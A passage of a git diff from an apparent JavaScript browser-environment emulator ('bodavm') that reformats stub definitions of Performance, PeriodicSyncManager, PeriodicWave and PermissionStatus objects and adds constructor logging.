+bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "fetchStart", { + configurable: true, + enumerable: true, + get: function fetchStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "fetchStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupStart", { + configurable: true, + enumerable: true, + get: function domainLookupStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "domainLookupEnd", { + configurable: true, + enumerable: true, + get: function domainLookupEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "domainLookupEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectStart", { + configurable: true, + enumerable: true, + get: function connectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "connectEnd", { + configurable: true, + enumerable: true, + get: function connectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "connectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "secureConnectionStart", { + configurable: true, + enumerable: true, + get: function secureConnectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "secureConnectionStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "requestStart", { + configurable: true, + enumerable: true, + get: function requestStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "requestStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStart", { + configurable: true, + enumerable: true, + get: function responseStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseEnd", { + configurable: true, + enumerable: true, + get: function responseEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "transferSize", { + configurable: true, + enumerable: true, + get: function transferSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "transferSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "encodedBodySize", { + configurable: true, + enumerable: true, + get: function encodedBodySize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "encodedBodySize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "decodedBodySize", { + configurable: true, + enumerable: true, + get: function decodedBodySize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "decodedBodySize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "serverTiming", { + configurable: true, + enumerable: true, + get: function serverTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "serverTiming_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "renderBlockingStatus", { + configurable: true, + enumerable: true, + get: function renderBlockingStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "renderBlockingStatus_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceResourceTiming', "responseStatus", { + configurable: true, + enumerable: true, + get: function responseStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceResourceTiming'].prototype, "PerformanceResourceTiming", "responseStatus_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceServerTiming.js b/env_xbb_lastest_jsdom/env/PerformanceServerTiming.js index b9756ae8..d86619d0 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceServerTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceServerTiming.js @@ -1,7 +1,49 @@ -// PerformanceServerTiming对象 -bodavm.memory.globalobj['PerformanceServerTiming'] = function PerformanceServerTiming(){if (!(this instanceof PerformanceServerTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceServerTiming'], "PerformanceServerTiming"); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "description_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "toJSON", arguments)}},'prototype'); +// PerformanceServerTiming对象 + +bodavm.memory.globalobj['PerformanceServerTiming'] = function PerformanceServerTiming() { + console.log_copy('PerformanceServerTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceServerTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceServerTiming'], "PerformanceServerTiming"); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "description", { + configurable: true, + enumerable: true, + get: function description() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "description_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceTiming.js b/env_xbb_lastest_jsdom/env/PerformanceTiming.js index 0db2fc9b..fa436b60 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceTiming.js @@ -1,25 +1,193 @@ -// PerformanceTiming对象 -bodavm.memory.globalobj['PerformanceTiming'] = function PerformanceTiming(){if (!(this instanceof PerformanceTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceTiming'], "PerformanceTiming"); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "navigationStart", {configurable:true, enumerable:true, get:function navigationStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "navigationStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventStart", {configurable:true, enumerable:true, get:function unloadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventEnd", {configurable:true, enumerable:true, get:function unloadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectStart", {configurable:true, enumerable:true, get:function redirectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectEnd", {configurable:true, enumerable:true, get:function redirectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "fetchStart", {configurable:true, enumerable:true, get:function fetchStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "fetchStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupStart", {configurable:true, enumerable:true, get:function domainLookupStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupEnd", {configurable:true, enumerable:true, get:function domainLookupEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectStart", {configurable:true, enumerable:true, get:function connectStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectEnd", {configurable:true, enumerable:true, get:function connectEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "secureConnectionStart", {configurable:true, enumerable:true, get:function secureConnectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "secureConnectionStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "requestStart", {configurable:true, enumerable:true, get:function requestStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "requestStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseStart", {configurable:true, enumerable:true, get:function responseStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseEnd", {configurable:true, enumerable:true, get:function responseEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domLoading", {configurable:true, enumerable:true, get:function domLoading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domLoading_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domInteractive", {configurable:true, enumerable:true, get:function domInteractive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domInteractive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventStart", {configurable:true, enumerable:true, get:function domContentLoadedEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventEnd", {configurable:true, enumerable:true, get:function domContentLoadedEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "domComplete", {configurable:true, enumerable:true, get:function domComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domComplete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventStart", {configurable:true, enumerable:true, get:function loadEventStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventEnd", {configurable:true, enumerable:true, get:function loadEventEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "toJSON", arguments)}},'prototype'); +// PerformanceTiming对象 + +bodavm.memory.globalobj['PerformanceTiming'] = function PerformanceTiming() { + console.log_copy('PerformanceTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceTiming'], "PerformanceTiming"); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "navigationStart", { + configurable: true, + enumerable: true, + get: function navigationStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "navigationStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventStart", { + configurable: true, + enumerable: true, + get: function unloadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventEnd", { + configurable: true, + enumerable: true, + get: function unloadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectStart", { + configurable: true, + enumerable: true, + get: function redirectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectEnd", { + configurable: true, + enumerable: true, + get: function redirectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "fetchStart", { + configurable: true, + enumerable: true, + get: function fetchStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "fetchStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupStart", { + configurable: true, + enumerable: true, + get: function domainLookupStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupEnd", { + configurable: true, + enumerable: true, + get: function domainLookupEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectStart", { + configurable: true, + enumerable: true, + get: function connectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectEnd", { + configurable: true, + enumerable: true, + get: function connectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "secureConnectionStart", { + configurable: true, + enumerable: true, + get: function secureConnectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "secureConnectionStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "requestStart", { + configurable: true, + enumerable: true, + get: function requestStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "requestStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseStart", { + configurable: true, + enumerable: true, + get: function responseStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseEnd", { + configurable: true, + enumerable: true, + get: function responseEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domLoading", { + configurable: true, + enumerable: true, + get: function domLoading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domLoading_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domInteractive", { + configurable: true, + enumerable: true, + get: function domInteractive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domInteractive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventStart", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventEnd", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domComplete", { + configurable: true, + enumerable: true, + get: function domComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domComplete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventStart", { + configurable: true, + enumerable: true, + get: function loadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventEnd", { + configurable: true, + enumerable: true, + get: function loadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PeriodicSyncManager.js b/env_xbb_lastest_jsdom/env/PeriodicSyncManager.js index c0d4ad4f..54beec90 100644 --- a/env_xbb_lastest_jsdom/env/PeriodicSyncManager.js +++ b/env_xbb_lastest_jsdom/env/PeriodicSyncManager.js @@ -1,6 +1,41 @@ -// PeriodicSyncManager对象 -bodavm.memory.globalobj['PeriodicSyncManager'] = function PeriodicSyncManager(){if (!(this instanceof PeriodicSyncManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicSyncManager'], "PeriodicSyncManager"); -bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "getTags", {configurable:true, enumerable:true, writable:true, value:function getTags (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "getTags", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "register", {configurable:true, enumerable:true, writable:true, value:function register (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "register", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "unregister", {configurable:true, enumerable:true, writable:true, value:function unregister (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "unregister", arguments)}},'prototype'); +// PeriodicSyncManager对象 + +bodavm.memory.globalobj['PeriodicSyncManager'] = function PeriodicSyncManager() { + console.log_copy('PeriodicSyncManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PeriodicSyncManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicSyncManager'], "PeriodicSyncManager"); +bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "getTags", { + configurable: true, + enumerable: true, + writable: true, + value: function getTags() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "getTags", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "register", { + configurable: true, + enumerable: true, + writable: true, + value: function register() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "register", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "unregister", { + configurable: true, + enumerable: true, + writable: true, + value: function unregister() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "unregister", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PeriodicWave.js b/env_xbb_lastest_jsdom/env/PeriodicWave.js index 65b0a3ea..dd3659a4 100644 --- a/env_xbb_lastest_jsdom/env/PeriodicWave.js +++ b/env_xbb_lastest_jsdom/env/PeriodicWave.js @@ -1,3 +1,17 @@ -// PeriodicWave对象 -bodavm.memory.globalobj['PeriodicWave'] = function PeriodicWave(){if (!(this instanceof PeriodicWave)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PeriodicWave': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicWave'], "PeriodicWave"); +// PeriodicWave对象 + +bodavm.memory.globalobj['PeriodicWave'] = function PeriodicWave() { + console.log_copy('PeriodicWave 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PeriodicWave)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PeriodicWave': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicWave'], "PeriodicWave"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PermissionStatus.js b/env_xbb_lastest_jsdom/env/PermissionStatus.js index d7718b1c..d7ce3bf0 100644 --- a/env_xbb_lastest_jsdom/env/PermissionStatus.js +++ b/env_xbb_lastest_jsdom/env/PermissionStatus.js @@ -1,8 +1,45 @@ -// PermissionStatus对象 -bodavm.memory.globalobj['PermissionStatus'] = function PermissionStatus(){if (!(this instanceof PermissionStatus)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PermissionStatus'], "PermissionStatus"); -bodavm.memory.globalobj['PermissionStatus'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PermissionStatus'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PermissionStatus', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PermissionStatus', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PermissionStatus', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_set", arguments)}},'prototype'); +// PermissionStatus对象 + +bodavm.memory.globalobj['PermissionStatus'] = function PermissionStatus() { + console.log_copy('PermissionStatus 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PermissionStatus)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PermissionStatus'], "PermissionStatus"); +bodavm.memory.globalobj['PermissionStatus'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PermissionStatus'].__proto__ = bodavm.memory.globalobj['EventTarget']; 